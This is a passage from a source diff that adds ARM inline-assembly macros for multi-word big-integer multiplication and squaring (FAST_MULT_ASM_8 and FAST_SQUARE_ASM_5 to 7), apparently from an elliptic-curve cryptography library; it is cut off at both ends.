\ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r5, r8 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r3, r7 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r10} \n\t" \ + \ + "mov r14, #0 \n\t" \ + "umull r9, r10, r5, r6 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r9, r10, r3, r8 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "umull r10, r11, r3, r6 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adc r14, r14, r11 \n\t" \ + "stmia r0!, {r12, r14} \n\t" + +#define FAST_MULT_ASM_8 \ + "add r0, 24 \n\t" \ + "add r2, 24 \n\t" \ + "ldmia r1!, {r3,r4} \n\t" \ + "ldmia r2!, {r6,r7} \n\t" \ + \ + "umull r11, r12, r3, r6 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r11, r9, r3, r7 \n\t" \ + "adds r12, r12, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r11, r14, r4, r6 \n\t" \ + "adds r12, r12, r11 \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "umull r12, r14, r4, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adc r10, r10, r14 \n\t" \ + "stmia r0!, {r9, r10} \n\t" \ + \ + "sub r0, 28 \n\t" \ + "sub r2, 20 \n\t" \ + "ldmia r2!, {r6,r7,r8} \n\t" \ + "ldmia r1!, {r5} \n\t" \ + \ + "umull r11, r12, r3, r6 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r11, r9, r3, r7 \n\t" \ + "adds r12, r12, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r11, r14, r4, r6 \n\t" \ + "adds r12, r12, r11 \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "mov r11, #0 \n\t" \ + "umull r12, r14, r3, r8 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r4, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r5, r6 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "ldmia r1!, {r3} \n\t" \ + "mov r12, #0 \n\t" \ + "umull r14, r9, r4, r8 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r5, r7 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r3, r6 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r10} \n\t" \ + \ + "ldmia r1!, {r4} \n\t" \ + "mov r14, #0 \n\t" \ + "umull r9, r10, r5, r8 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r9, r10, r3, r7 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r9, r10, r4, r6 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "ldr r9, [r0] \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, #0 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "ldmia r2!, {r6} \n\t" \ + "mov r9, #0 \n\t" \ + "umull r10, r11, r5, r6 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r3, r8 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r4, r7 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "ldr r10, [r0] \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, #0 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "ldmia r2!, {r7} \n\t" \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r3, r6 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "ldr r11, [r0] \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r14} \n\t" \ + \ + "mov r11, #0 \n\t" \ + "umull r12, r14, r3, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r4, r6 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "umull r14, r9, r4, r7 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adc r11, r11, r9 \n\t" \ + "stmia r0!, {r10, r11} \n\t" \ + \ + "sub r0, 52 \n\t" \ + "sub r1, 20 \n\t" \ + "sub r2, 32 \n\t" \ + "ldmia r1!, {r3,r4,r5} \n\t" \ + "ldmia r2!, {r6,r7,r8} \n\t" \ + \ + "umull r11, r12, r3, r6 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r11, r9, r3, r7 \n\t" \ + "adds r12, r12, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r11, r14, r4, r6 \n\t" \ + "adds r12, r12, r11 \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "mov r11, #0 \n\t" \ + "umull r12, r14, r3, r8 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r4, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r5, r6 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "ldmia r1!, {r3} \n\t" \ + "mov r12, #0 \n\t" \ + "umull r14, r9, r4, r8 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r5, r7 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r3, r6 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r10} \n\t" \ + \ + "ldmia r1!, {r4} \n\t" \ + "mov r14, #0 \n\t" \ + "umull r9, r10, r5, r8 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r9, r10, r3, r7 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r9, r10, r4, r6 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "ldr r9, [r0] \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, #0 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "ldmia r1!, {r5} \n\t" \ + "mov r9, #0 \n\t" \ + "umull r10, r11, r3, r8 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r4, r7 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r5, r6 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "ldr r10, [r0] \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, #0 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "ldmia r1!, {r3} \n\t" \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r3, r6 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "ldr r11, [r0] \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r14} \n\t" \ + \ + "ldmia r1!, {r4} \n\t" \ + "mov r11, #0 \n\t" \ + "umull r12, r14, r5, r8 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r3, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r4, r6 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "ldr r12, [r0] \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, #0 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "ldmia r2!, {r6} \n\t" \ + "mov r12, #0 \n\t" \ + "umull r14, r9, r5, r6 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r3, r8 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r4, r7 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r10} \n\t" \ + \ + "ldmia r2!, {r7} \n\t" \ + "mov r14, #0 \n\t" \ + "umull r9, r10, r5, r7 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r9, r10, r3, r6 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r9, r10, r4, r8 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "ldr r9, [r0] \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, #0 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "ldmia r2!, {r8} \n\t" \ + "mov r9, #0 \n\t" \ + "umull r10, r11, r5, r8 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r3, r7 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r4, r6 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "ldr r10, [r0] \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, #0 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "ldmia r2!, {r6} \n\t" \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r5, r6 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r3, r8 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r4, r7 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "ldr r11, [r0] \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r14} \n\t" \ + \ + "ldmia r2!, {r7} \n\t" \ + "mov r11, #0 \n\t" \ + "umull r12, r14, r5, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r3, r6 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r4, r8 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "ldr r12, [r0] \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, #0 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r14, r9, r3, r7 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r4, r6 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r10} \n\t" \ + \ + "umull r9, r10, r4, r7 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adc r12, r12, r10 \n\t" \ + "stmia r0!, {r11, r12} \n\t" + +#define FAST_SQUARE_ASM_5 \ + "ldmia r1!, {r2,r3,r4,r5,r6} \n\t" \ + \ + "umull r11, r12, r2, r2 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r9, #0 \n\t" \ + "umull r10, r11, r2, r3 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r8, r11, #0 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r8, r8, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r2, r4 \n\t" \ + "adds r11, r11, r11 \n\t" \ + "adcs r12, r12, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r3, r3 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r8, r11, r2, r5 \n\t" \ + "umull r1, r14, r3, r4 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r11, r11, r14 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adc r12, r12, r12 \n\t" \ + "adds r8, r8, r9 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r8, r9, r2, r6 \n\t" \ + "umull r1, r14, r3, r5 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r9, r9, r9 \n\t" \ + "adc r10, r10, r10 \n\t" \ + "umull r1, r14, r4, r4 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r8, r11, r3, r6 \n\t" \ + "umull r1, r14, r4, r5 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r11, r11, r14 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adc r12, r12, r12 \n\t" \ + "adds r8, r8, r9 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r8, #0 \n\t" \ + "umull r1, r10, r4, r6 \n\t" \ + "adds r1, r1, r1 \n\t" \ + "adcs r10, r10, r10 \n\t" \ + "adc r8, r8, #0 \n\t" \ + "adds r11, r11, r1 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r8, r8, #0 \n\t" \ + "umull r1, r10, r5, r5 \n\t" \ + "adds r11, r11, r1 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r8, r8, #0 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r11, #0 \n\t" \ + "umull r1, r10, r5, r6 \n\t" \ + "adds r1, r1, r1 \n\t" \ + "adcs r10, r10, r10 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "adds r12, r12, r1 \n\t" \ + "adcs r8, r8, r10 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "umull r1, r10, r6, r6 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "stmia r0!, {r8, r11} \n\t" + +#define FAST_SQUARE_ASM_6 \ + "ldmia r1!, {r2,r3,r4,r5,r6,r7} \n\t" \ + \ + "umull r11, r12, r2, r2 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r9, #0 \n\t" \ + "umull r10, r11, r2, r3 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r8, r11, #0 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r8, r8, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r2, r4 \n\t" \ + "adds r11, r11, r11 \n\t" \ + "adcs r12, r12, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r3, r3 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r8, r11, r2, r5 \n\t" \ + "umull r1, r14, r3, r4 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r11, r11, r14 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adc r12, r12, r12 \n\t" \ + "adds r8, r8, r9 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r8, r9, r2, r6 \n\t" \ + "umull r1, r14, r3, r5 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r9, r9, r9 \n\t" \ + "adc r10, r10, r10 \n\t" \ + "umull r1, r14, r4, r4 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r8, r11, r2, r7 \n\t" \ + "umull r1, r14, r3, r6 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r11, r11, r14 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r1, r14, r4, r5 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r11, r11, r14 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adc r12, r12, r12 \n\t" \ + "adds r8, r8, r9 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r8, r9, r3, r7 \n\t" \ + "umull r1, r14, r4, r6 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r9, r9, r9 \n\t" \ + "adc r10, r10, r10 \n\t" \ + "umull r1, r14, r5, r5 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r8, r11, r4, r7 \n\t" \ + "umull r1, r14, r5, r6 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r11, r11, r14 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adc r12, r12, r12 \n\t" \ + "adds r8, r8, r9 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r8, #0 \n\t" \ + "umull r1, r10, r5, r7 \n\t" \ + "adds r1, r1, r1 \n\t" \ + "adcs r10, r10, r10 \n\t" \ + "adc r8, r8, #0 \n\t" \ + "adds r11, r11, r1 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r8, r8, #0 \n\t" \ + "umull r1, r10, r6, r6 \n\t" \ + "adds r11, r11, r1 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r8, r8, #0 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r11, #0 \n\t" \ + "umull r1, r10, r6, r7 \n\t" \ + "adds r1, r1, r1 \n\t" \ + "adcs r10, r10, r10 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "adds r12, r12, r1 \n\t" \ + "adcs r8, r8, r10 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "umull r1, r10, r7, r7 \n\t" \ + "adds r8, r8, r1 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "stmia r0!, {r8, r11} \n\t" + +#define FAST_SQUARE_ASM_7 \ + "ldmia r1!, {r2} \n\t" \ + "add r1, 20 \n\t" \ + "ldmia r1!, {r5} \n\t" \ + "add r0, 24 \n\t" \ + "umull r8, r9, r2, r5 \n\t" \ + "stmia r0!, {r8, r9} \n\t" \ + "sub r0, 32 \n\t" \ + "sub r1, 28 \n\t" \ + \ + "ldmia r1!, {r2, r3, r4, r5, r6, r7} \n\t" \ + \ + "umull r11, r12, r2, r2 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r9, #0 \n\t" \ + "umull r10, r11, r2, r3 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r8, r11, #0 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r8, r8, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r2, r4 \n\t" \ + "adds r11, r11, r11 \n\t" \ + "adcs r12, r12, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r3, r3 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r8, r11, r2, r5 \n\t" \ + "mov r14, r11 \n\t" \ + "umlal r8, r11, r3, r4 \n\t" \ + "cmp r14, r11 \n\t" \ + "it hi \n\t" \ + "adchi r12, r12, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adc r12, r12, r12 \n\t" \ + "adds r8, r8, r9 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r8, r9, r2, r6 \n\t" \ + "mov r14, r9 \n\t" \ + "umlal r8, r9, r3, r5 \n\t" \ + "cmp r14, r9 \n\t" \ + "it hi \n\t" \ + "adchi r10, r10, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r9, r9, r9 \n\t" \ + "adc r10, r10, r10 \n\t" \ + "mov r14, r9 \n\t" \ + "umlal r8, r9, r4, r4 \n\t" \ + "cmp r14, r9 \n\t" \ + "it hi \n\t" \ + "adchi r10, r10, #0 \n\t" \ + "adds r8, r8, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r8, r11, r2, r7 \n\t" \ + "mov r14, r11 \n\t" \ + "umlal r8, r11, r3, r6 \n\t" \ + "cmp r14, r11 \n\t" \ + "it hi \n\t" \ + "adchi r12, r12, #0 \n\t" \ + "mov r14, r11 \n\t" \ + "umlal r8, r11, r4, r5 \n\t" \ + "cmp r14, r11 \n\t" \ + "it hi \n\t" \ + "adchi r12, r12, #0 \n\t" \ + "adds r8, r8, r8 \n\t" \ + "adcs r11, r11, r11 \n\t" \ + "adc r12, r12, r12 \n\t" \ + "adds r8, r8, r9 \n\t" \ + "adcs r11, r11, r10 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r8} \n\t" \ + \ + "ldmia r1!, {r2} \n\t" \ + "mov r10, #0 \n\t" \ + "umull r8, r9, r3, r7 \n\t" \ + "mov r14, r9 \n\t" \ + "umlal r8, r9, r4, r6 \n\t" \ + "cmp r14, r9 \n\t" \ + "it hi \n\t" \ + "adchi r10, r10, #0 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adds r8, r8, r14 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "adds 